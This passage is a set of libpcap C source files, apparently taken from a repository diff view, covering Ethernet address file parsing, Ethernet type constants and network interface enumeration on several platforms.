* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/etherent.c,v 1.21 2000/07/11 00:37:04 assar Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <sys/types.h>
#include <ctype.h>
#include <memory.h>
#include <stdio.h>
#include <string.h>
#include "pcap-int.h"
#include <pcap-namedb.h>
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
static int xdtoi(int);
static int skip_space(FILE *);
static int skip_line(FILE *);
/* Hex digit to integer. */
static int
xdtoi(c)
register int c;
{
if (isdigit(c))
return c - '0';
else if (islower(c))
return c - 'a' + 10;
else
return c - 'A' + 10;
}
static int
skip_space(f)
FILE *f;
{
int c;
do {
c = getc(f);
} while (isspace(c) && c != '\n');
return c;
}
static int
skip_line(f)
FILE *f;
{
int c;
do
c = getc(f);
while (c != '\n' && c != EOF);
return c;
}
struct pcap_etherent *
pcap_next_etherent(FILE *fp)
{
register int c, d, i;
char *bp;
static struct pcap_etherent e;
memset((char *)&e, 0, sizeof(e));
do {
/* Find addr */
c = skip_space(fp);
if (c == '\n')
continue;
/* If this is a comment, or first thing on line
cannot be etehrnet address, skip the line. */
if (!isxdigit(c)) {
c = skip_line(fp);
continue;
}
/* must be the start of an address */
for (i = 0; i < 6; i += 1) {
d = xdtoi(c);
c = getc(fp);
if (isxdigit(c)) {
d <<= 4;
d |= xdtoi(c);
c = getc(fp);
}
e.addr[i] = d;
if (c != ':')
break;
c = getc(fp);
}
if (c == EOF)
break;
/* Must be whitespace */
if (!isspace(c)) {
c = skip_line(fp);
continue;
}
c = skip_space(fp);
/* hit end of line... */
if (c == '\n')
continue;
if (c == '#') {
c = skip_line(fp);
continue;
}
/* pick up name */
bp = e.name;
/* Use 'd' to prevent buffer overflow. */
d = sizeof(e.name) - 1;
do {
*bp++ = c;
c = getc(fp);
} while (!isspace(c) && c != EOF && --d > 0);
*bp = '\0';
/* Eat trailing junk */
if (c != '\n')
(void)skip_line(fp);
return &e;
} while (c != EOF);
return (NULL);
}

View File

@@ -0,0 +1,107 @@
/*
* Copyright (c) 1993, 1994, 1996
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
* @(#) $Header: /tcpdump/master/libpcap/ethertype.h,v 1.12 2001/01/14 21:26:52 guy Exp $ (LBL)
*/
/*
* Ethernet types.
*
* We wrap the declarations with #ifdef, so that if a file includes
* <netinet/if_ether.h>, which may declare some of these, we don't
* get a bunch of complaints from the C compiler about redefinitions
* of these values.
*
* We declare all of them here so that no file has to include
* <netinet/if_ether.h> if all it needs are ETHERTYPE_ values.
*/
#ifndef ETHERTYPE_PUP
#define ETHERTYPE_PUP 0x0200 /* PUP protocol */
#endif
#ifndef ETHERTYPE_IP
#define ETHERTYPE_IP 0x0800 /* IP protocol */
#endif
#ifndef ETHERTYPE_ARP
#define ETHERTYPE_ARP 0x0806 /* Addr. resolution protocol */
#endif
#ifndef ETHERTYPE_REVARP
#define ETHERTYPE_REVARP 0x8035 /* reverse Addr. resolution protocol */
#endif
#ifndef ETHERTYPE_NS
#define ETHERTYPE_NS 0x0600
#endif
#ifndef ETHERTYPE_SPRITE
#define ETHERTYPE_SPRITE 0x0500
#endif
#ifndef ETHERTYPE_TRAIL
#define ETHERTYPE_TRAIL 0x1000
#endif
#ifndef ETHERTYPE_MOPDL
#define ETHERTYPE_MOPDL 0x6001
#endif
#ifndef ETHERTYPE_MOPRC
#define ETHERTYPE_MOPRC 0x6002
#endif
#ifndef ETHERTYPE_DN
#define ETHERTYPE_DN 0x6003
#endif
#ifndef ETHERTYPE_LAT
#define ETHERTYPE_LAT 0x6004
#endif
#ifndef ETHERTYPE_SCA
#define ETHERTYPE_SCA 0x6007
#endif
#ifndef ETHERTYPE_REVARP
#define ETHERTYPE_REVARP 0x8035
#endif
#ifndef ETHERTYPE_LANBRIDGE
#define ETHERTYPE_LANBRIDGE 0x8038
#endif
#ifndef ETHERTYPE_DECDNS
#define ETHERTYPE_DECDNS 0x803c
#endif
#ifndef ETHERTYPE_DECDTS
#define ETHERTYPE_DECDTS 0x803e
#endif
#ifndef ETHERTYPE_VEXP
#define ETHERTYPE_VEXP 0x805b
#endif
#ifndef ETHERTYPE_VPROD
#define ETHERTYPE_VPROD 0x805c
#endif
#ifndef ETHERTYPE_ATALK
#define ETHERTYPE_ATALK 0x809b
#endif
#ifndef ETHERTYPE_AARP
#define ETHERTYPE_AARP 0x80f3
#endif
#ifndef ETHERTYPE_8021Q
#define ETHERTYPE_8021Q 0x8100
#endif
#ifndef ETHERTYPE_IPX
#define ETHERTYPE_IPX 0x8137
#endif
#ifndef ETHERTYPE_IPV6
#define ETHERTYPE_IPV6 0x86dd
#endif
#ifndef ETHERTYPE_LOOPBACK
#define ETHERTYPE_LOOPBACK 0x9000
#endif

View File

@@ -0,0 +1,196 @@
/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */
/*
* Copyright (c) 1994, 1995, 1996, 1997, 1998
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the Computer Systems
* Engineering Group at Lawrence Berkeley Laboratory.
* 4. Neither the name of the University nor of the Laboratory may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/fad-getad.c,v 1.4 2002/10/19 02:25:41 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <ifaddrs.h>
#include "pcap-int.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
/*
* This is fun.
*
* In older BSD systems, socket addresses were fixed-length, and
* "sizeof (struct sockaddr)" gave the size of the structure.
* All addresses fit within a "struct sockaddr".
*
* In newer BSD systems, the socket address is variable-length, and
* there's an "sa_len" field giving the length of the structure;
* this allows socket addresses to be longer than 2 bytes of family
* and 14 bytes of data.
*
* Some commercial UNIXes use the old BSD scheme, some use the RFC 2553
* variant of the old BSD scheme (with "struct sockaddr_storage" rather
* than "struct sockaddr"), and some use the new BSD scheme.
*
* GNU libc uses neither scheme, but has an "SA_LEN()" macro that
* determines the size based on the address family.
*/
#ifndef SA_LEN
#ifdef HAVE_SOCKADDR_SA_LEN
#define SA_LEN(addr) (addr ? (addr)->sa_len : 0)
#else /* HAVE_SOCKADDR_SA_LEN */
#ifdef HAVE_SOCKADDR_STORAGE
#define SA_LEN(addr) (sizeof (struct sockaddr_storage))
#else /* HAVE_SOCKADDR_STORAGE */
#define SA_LEN(addr) (sizeof (struct sockaddr))
#endif /* HAVE_SOCKADDR_STORAGE */
#endif /* HAVE_SOCKADDR_SA_LEN */
#endif /* SA_LEN */
/*
* Get a list of all interfaces that are up and that we can open.
* Returns -1 on error, 0 otherwise.
* The list, as returned through "alldevsp", may be null if no interfaces
* were up and could be opened.
*
* This is the implementation used on platforms that have "getifaddrs()".
*/
int
pcap_findalldevs(pcap_if_t **alldevsp, char *errbuf)
{
pcap_if_t *devlist = NULL;
struct ifaddrs *ifap, *ifa;
struct sockaddr *broadaddr, *dstaddr;
size_t broadaddr_size, dstaddr_size;
int ret = 0;
/*
* Get the list of interface addresses.
*
* Note: this won't return information about interfaces
* with no addresses; are there any such interfaces
* that would be capable of receiving packets?
* (Interfaces incapable of receiving packets aren't
* very interesting from libpcap's point of view.)
*
* LAN interfaces will probably have link-layer
* addresses; I don't know whether all implementations
* of "getifaddrs()" now, or in the future, will return
* those.
*/
if (getifaddrs(&ifap) != 0) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"getifaddrs: %s", pcap_strerror(errno));
return (-1);
}
for (ifa = ifap; ifa != NULL; ifa = ifa->ifa_next) {
/*
* Is this interface up?
*/
if (!(ifa->ifa_flags & IFF_UP)) {
/*
* No, so don't add it to the list.
*/
continue;
}
/*
* "ifa_broadaddr" may be non-null even on
* non-broadcast interfaces; "ifa_dstaddr"
* was, on at least one FreeBSD 4.1 system,
* non-null on a non-point-to-point
* interface.
*/
if (ifa->ifa_flags & IFF_BROADCAST) {
broadaddr = ifa->ifa_broadaddr;
broadaddr_size = SA_LEN(broadaddr);
} else {
broadaddr = NULL;
broadaddr_size = 0;
}
if (ifa->ifa_flags & IFF_POINTOPOINT) {
dstaddr = ifa->ifa_dstaddr;
dstaddr_size = SA_LEN(ifa->ifa_dstaddr);
} else {
dstaddr = NULL;
dstaddr_size = 0;
}
/*
* Add information for this address to the list.
*/
if (add_addr_to_iflist(&devlist, ifa->ifa_name,
ifa->ifa_flags, ifa->ifa_addr, SA_LEN(ifa->ifa_addr),
ifa->ifa_netmask, SA_LEN(ifa->ifa_netmask),
broadaddr, broadaddr_size, dstaddr, dstaddr_size,
errbuf) < 0) {
ret = -1;
break;
}
}
freeifaddrs(ifap);
if (ret != -1) {
/*
* We haven't had any errors yet; do any platform-specific
* operations to add devices.
*/
if (pcap_platform_finddevs(&devlist, errbuf) < 0)
ret = -1;
}
if (ret == -1) {
/*
* We had an error; free the list we've been constructing.
*/
if (devlist != NULL) {
pcap_freealldevs(devlist);
devlist = NULL;
}
}
*alldevsp = devlist;
return (ret);
}

View File

@@ -0,0 +1,507 @@
/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */
/*
* Copyright (c) 1994, 1995, 1996, 1997, 1998
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the Computer Systems
* Engineering Group at Lawrence Berkeley Laboratory.
* 4. Neither the name of the University nor of the Laboratory may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/fad-gifc.c,v 1.3 2002/08/03 20:24:33 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#ifdef VMS
#include "pcap-vms.h"
#endif
#ifndef VMS
#include <sys/param.h>
#endif
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#ifdef HAVE_SYS_SOCKIO_H
#include <sys/sockio.h>
#endif
#include <sys/time.h> /* concession to AIX */
struct mbuf; /* Squelch compiler warnings on some platforms for */
struct rtentry; /* declarations in <net/if.h> */
#include <net/if.h>
#include <netinet/in.h>
#include <ctype.h>
#include <errno.h>
#include <memory.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "pcap-int.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
/*
* This is fun.
*
* In older BSD systems, socket addresses were fixed-length, and
* "sizeof (struct sockaddr)" gave the size of the structure.
* All addresses fit within a "struct sockaddr".
*
* In newer BSD systems, the socket address is variable-length, and
* there's an "sa_len" field giving the length of the structure;
* this allows socket addresses to be longer than 2 bytes of family
* and 14 bytes of data.
*
* Some commercial UNIXes use the old BSD scheme, some use the RFC 2553
* variant of the old BSD scheme (with "struct sockaddr_storage" rather
* than "struct sockaddr"), and some use the new BSD scheme.
*
* GNU libc uses neither scheme, but has an "SA_LEN()" macro that
* determines the size based on the address family.
*
* We assume that a UNIX that doesn't have "getifaddrs()" and doesn't have
* SIOCGLIFCONF, but has SIOCGIFCONF, uses "struct sockaddr" for the
* address in an entry returned by SIOCGIFCONF.
*/
#ifndef SA_LEN
#ifdef HAVE_SOCKADDR_SA_LEN
#define SA_LEN(addr) ((addr)->sa_len)
#else /* HAVE_SOCKADDR_SA_LEN */
#define SA_LEN(addr) (sizeof (struct sockaddr))
#endif /* HAVE_SOCKADDR_SA_LEN */
#endif /* SA_LEN */
#ifdef HAVE_PROC_NET_DEV
/*
* Get from "/proc/net/dev" all interfaces listed there; if they're
* already in the list of interfaces we have, that won't add another
* instance, but if they're not, that'll add them.
*
* We don't bother getting any addresses for them; it appears you can't
* use SIOCGIFADDR on Linux to get IPv6 addresses for interfaces, and,
* although some other types of addresses can be fetched with SIOCGIFADDR,
* we don't bother with them for now.
*
* We also don't fail if we couldn't open "/proc/net/dev"; we just leave
* the list of interfaces as is.
*/
static int
scan_proc_net_dev(pcap_if_t **devlistp, int fd, char *errbuf)
{
FILE *proc_net_f;
char linebuf[512];
int linenum;
unsigned char *p;
char name[512]; /* XXX - pick a size */
char *q, *saveq;
struct ifreq ifrflags;
int ret = 0;
proc_net_f = fopen("/proc/net/dev", "r");
if (proc_net_f == NULL)
return (0);
for (linenum = 1;
fgets(linebuf, sizeof linebuf, proc_net_f) != NULL; linenum++) {
/*
* Skip the first two lines - they're headers.
*/
if (linenum <= 2)
continue;
p = &linebuf[0];
/*
* Skip leading white space.
*/
while (*p != '\0' && isspace(*p))
p++;
if (*p == '\0' || *p == '\n')
continue; /* blank line */
/*
* Get the interface name.
*/
q = &name[0];
while (*p != '\0' && !isspace(*p)) {
if (*p == ':') {
/*
* This could be the separator between a
* name and an alias number, or it could be
* the separator between a name with no
* alias number and the next field.
*
* If there's a colon after digits, it
* separates the name and the alias number,
* otherwise it separates the name and the
* next field.
*/
saveq = q;
while (isdigit(*p))
*q++ = *p++;
if (*p != ':') {
/*
* That was the next field,
* not the alias number.
*/
q = saveq;
}
break;
} else
*q++ = *p++;
}
*q = '\0';
/*
* Get the flags for this interface, and skip it if
* it's not up.
*/
strncpy(ifrflags.ifr_name, name, sizeof(ifrflags.ifr_name));
if (ioctl(fd, SIOCGIFFLAGS, (char *)&ifrflags) < 0) {
if (errno == ENXIO)
continue;
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"SIOCGIFFLAGS: %.*s: %s",
(int)sizeof(ifrflags.ifr_name),
ifrflags.ifr_name,
pcap_strerror(errno));
ret = -1;
break;
}
if (!(ifrflags.ifr_flags & IFF_UP))
continue;
/*
* Add an entry for this interface, with no addresses.
*/
if (pcap_add_if(devlistp, name, ifrflags.ifr_flags, NULL,
errbuf) == -1) {
/*
* Failure.
*/
ret = -1;
break;
}
}
if (ret != -1) {
/*
* Well, we didn't fail for any other reason; did we
* fail due to an error reading the file?
*/
if (ferror(proc_net_f)) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"Error reading /proc/net/dev: %s",
pcap_strerror(errno));
ret = -1;
}
}
(void)fclose(proc_net_f);
return (ret);
}
#endif /* HAVE_PROC_NET_DEV */
/*
* Get a list of all interfaces that are up and that we can open.
* Returns -1 on error, 0 otherwise.
* The list, as returned through "alldevsp", may be null if no interfaces
* were up and could be opened.
*
* This is the implementation used on platforms that have SIOCGIFCONF but
* don't have any other mechanism for getting a list of interfaces.
*
* XXX - or platforms that have other, better mechanisms but for which
* we don't yet have code to use that mechanism; I think there's a better
* way on Linux, for example.
*/
int
pcap_findalldevs(pcap_if_t **alldevsp, char *errbuf)
{
pcap_if_t *devlist = NULL;
#ifndef VMS
register int fd;
register struct ifreq *ifrp, *ifend, *ifnext;
int n;
struct ifconf ifc;
char *buf = NULL;
unsigned buf_size;
struct ifreq ifrflags, ifrnetmask, ifrbroadaddr, ifrdstaddr;
struct sockaddr *netmask, *broadaddr, *dstaddr;
size_t netmask_size, broadaddr_size, dstaddr_size;
#endif
int ret = 0;
#ifndef VMS
/*
* Create a socket from which to fetch the list of interfaces.
*/
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"socket: %s", pcap_strerror(errno));
return (-1);
}
/*
* Start with an 8K buffer, and keep growing the buffer until
* we get the entire interface list or fail to get it for some
* reason other than EINVAL (which is presumed here to mean
* "buffer is too small").
*/
buf_size = 8192;
for (;;) {
buf = malloc(buf_size);
if (buf == NULL) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"malloc: %s", pcap_strerror(errno));
(void)close(fd);
return (-1);
}
ifc.ifc_len = buf_size;
ifc.ifc_buf = buf;
memset(buf, 0, buf_size);
if (ioctl(fd, SIOCGIFCONF, (char *)&ifc) < 0
&& errno != EINVAL) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"SIOCGIFCONF: %s", pcap_strerror(errno));
(void)close(fd);
free(buf);
return (-1);
}
if (ifc.ifc_len < buf_size)
break;
free(buf);
buf_size *= 2;
}
ifrp = (struct ifreq *)buf;
ifend = (struct ifreq *)(buf + ifc.ifc_len);
for (; ifrp < ifend; ifrp = ifnext) {
/*
* XXX - what if this isn't an IPv4 address? Can
* we still get the netmask, etc. with ioctls on
* an IPv4 socket?
*
* The answer is probably platform-dependent, and
* if the answer is "no" on more than one platform,
* the way you work around it is probably platform-
* dependent as well.
*/
n = SA_LEN(&ifrp->ifr_addr) + sizeof(ifrp->ifr_name);
if (n < sizeof(*ifrp))
ifnext = ifrp + 1;
else
ifnext = (struct ifreq *)((char *)ifrp + n);
/*
* Get the flags for this interface, and skip it if it's
* not up.
*/
strncpy(ifrflags.ifr_name, ifrp->ifr_name,
sizeof(ifrflags.ifr_name));
if (ioctl(fd, SIOCGIFFLAGS, (char *)&ifrflags) < 0) {
if (errno == ENXIO)
continue;
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"SIOCGIFFLAGS: %.*s: %s",
(int)sizeof(ifrflags.ifr_name),
ifrflags.ifr_name,
pcap_strerror(errno));
ret = -1;
break;
}
if (!(ifrflags.ifr_flags & IFF_UP))
continue;
/*
* Get the netmask for this address on this interface.
*/
strncpy(ifrnetmask.ifr_name, ifrp->ifr_name,
sizeof(ifrnetmask.ifr_name));
memcpy(&ifrnetmask.ifr_addr, &ifrp->ifr_addr,
sizeof(ifrnetmask.ifr_addr));
if (ioctl(fd, SIOCGIFNETMASK, (char *)&ifrnetmask) < 0) {
if (errno == EADDRNOTAVAIL) {
/*
* Not available.
*/
netmask = NULL;
netmask_size = 0;
} else {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"SIOCGIFNETMASK: %.*s: %s",
(int)sizeof(ifrnetmask.ifr_name),
ifrnetmask.ifr_name,
pcap_strerror(errno));
ret = -1;
break;
}
} else {
netmask = &ifrnetmask.ifr_addr;
netmask_size = SA_LEN(netmask);
}
/*
* Get the broadcast address for this address on this
* interface (if any).
*/
if (ifrflags.ifr_flags & IFF_BROADCAST) {
strncpy(ifrbroadaddr.ifr_name, ifrp->ifr_name,
sizeof(ifrbroadaddr.ifr_name));
memcpy(&ifrbroadaddr.ifr_addr, &ifrp->ifr_addr,
sizeof(ifrbroadaddr.ifr_addr));
if (ioctl(fd, SIOCGIFBRDADDR,
(char *)&ifrbroadaddr) < 0) {
if (errno == EADDRNOTAVAIL) {
/*
* Not available.
*/
broadaddr = NULL;
broadaddr_size = 0;
} else {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"SIOCGIFBRDADDR: %.*s: %s",
(int)sizeof(ifrbroadaddr.ifr_name),
ifrbroadaddr.ifr_name,
pcap_strerror(errno));
ret = -1;
break;
}
} else {
broadaddr = &ifrbroadaddr.ifr_broadaddr;
broadaddr_size = SA_LEN(broadaddr);
}
} else {
/*
* Not a broadcast interface, so no broadcast
* address.
*/
broadaddr = NULL;
broadaddr_size = 0;
}
/*
* Get the destination address for this address on this
* interface (if any).
*/
if (ifrflags.ifr_flags & IFF_POINTOPOINT) {
strncpy(ifrdstaddr.ifr_name, ifrp->ifr_name,
sizeof(ifrdstaddr.ifr_name));
memcpy(&ifrdstaddr.ifr_addr, &ifrp->ifr_addr,
sizeof(ifrdstaddr.ifr_addr));
if (ioctl(fd, SIOCGIFDSTADDR,
(char *)&ifrdstaddr) < 0) {
if (errno == EADDRNOTAVAIL) {
/*
* Not available.
*/
dstaddr = NULL;
dstaddr_size = 0;
} else {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"SIOCGIFDSTADDR: %.*s: %s",
(int)sizeof(ifrdstaddr.ifr_name),
ifrdstaddr.ifr_name,
pcap_strerror(errno));
ret = -1;
break;
}
} else {
dstaddr = &ifrdstaddr.ifr_dstaddr;
dstaddr_size = SA_LEN(dstaddr);
}
} else {
/*
* Not a point-to-point interface, so no destination
* address.
*/
dstaddr = NULL;
dstaddr_size = 0;
}
/*
* Add information for this address to the list.
*/
if (add_addr_to_iflist(&devlist, ifrp->ifr_name,
ifrflags.ifr_flags, &ifrp->ifr_addr,
SA_LEN(&ifrp->ifr_addr), netmask, netmask_size,
broadaddr, broadaddr_size, dstaddr, dstaddr_size,
errbuf) < 0) {
ret = -1;
break;
}
}
free(buf);
#ifdef HAVE_PROC_NET_DEV
if (ret != -1) {
/*
* We haven't had any errors yet; now read "/proc/net/dev",
* and add to the list of interfaces all interfaces listed
* there that we don't already have, because, on Linux,
* SIOCGIFCONF reports only interfaces with IPv4 addresses,
* so you need to read "/proc/net/dev" to get the names of
* the rest of the interfaces.
*/
ret = scan_proc_net_dev(&devlist, fd, errbuf);
}
#endif
(void)close(fd);
#endif
if (ret != -1) {
/*
* We haven't had any errors yet; do any platform-specific
* operations to add devices.
*/
if (pcap_platform_finddevs(&devlist, errbuf) < 0)
ret = -1;
}
if (ret == -1) {
/*
* We had an error; free the list we've been constructing.
*/
if (devlist != NULL) {
pcap_freealldevs(devlist);
devlist = NULL;
}
}
*alldevsp = devlist;
return (ret);
}

View File

@@ -0,0 +1,331 @@
/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */
/*
* Copyright (c) 1994, 1995, 1996, 1997, 1998
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the Computer Systems
* Engineering Group at Lawrence Berkeley Laboratory.
* 4. Neither the name of the University nor of the Laboratory may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/fad-glifc.c,v 1.2 2002/07/30 08:12:13 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#ifdef VMS
#include "pcap-vms.h"
#endif
#ifndef VMS
#include <sys/param.h>
#endif
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#ifdef HAVE_SYS_SOCKIO_H
#include <sys/sockio.h>
#endif
#include <sys/time.h> /* concession to AIX */
struct mbuf; /* Squelch compiler warnings on some platforms for */
struct rtentry; /* declarations in <net/if.h> */
#include <net/if.h>
#include <netinet/in.h>
#include <ctype.h>
#include <errno.h>
#include <memory.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "pcap-int.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
/*
* Get a list of all interfaces that are up and that we can open.
* Returns -1 on error, 0 otherwise.
* The list, as returned through "alldevsp", may be null if no interfaces
* were up and could be opened.
*
* This is the implementation used on platforms that have SIOCLGIFCONF
* but don't have "getifaddrs()". (Solaris 8 and later; we use
* SIOCLGIFCONF rather than SIOCGIFCONF in order to get IPv6 addresses.)
*/
int
pcap_findalldevs(pcap_if_t **alldevsp, char *errbuf)
{
pcap_if_t *devlist = NULL;
register int fd4, fd6, fd;
register struct lifreq *ifrp, *ifend;
struct lifnum ifn;
struct lifconf ifc;
char *buf = NULL;
unsigned buf_size;
struct lifreq ifrflags, ifrnetmask, ifrbroadaddr, ifrdstaddr;
struct sockaddr *netmask, *broadaddr, *dstaddr;
int ret = 0;
/*
* Create a socket from which to fetch the list of interfaces,
* and from which to fetch IPv4 information.
*/
fd4 = socket(AF_INET, SOCK_DGRAM, 0);
if (fd4 < 0) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"socket: %s", pcap_strerror(errno));
return (-1);
}
/*
* Create a socket from which to fetch IPv6 information.
*/
fd6 = socket(AF_INET6, SOCK_DGRAM, 0);
if (fd6 < 0) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"socket: %s", pcap_strerror(errno));
(void)close(fd4);
return (-1);
}
/*
* How many entries will SIOCGLIFCONF return?
*/
ifn.lifn_family = AF_UNSPEC;
ifn.lifn_flags = 0;
ifn.lifn_count = 0;
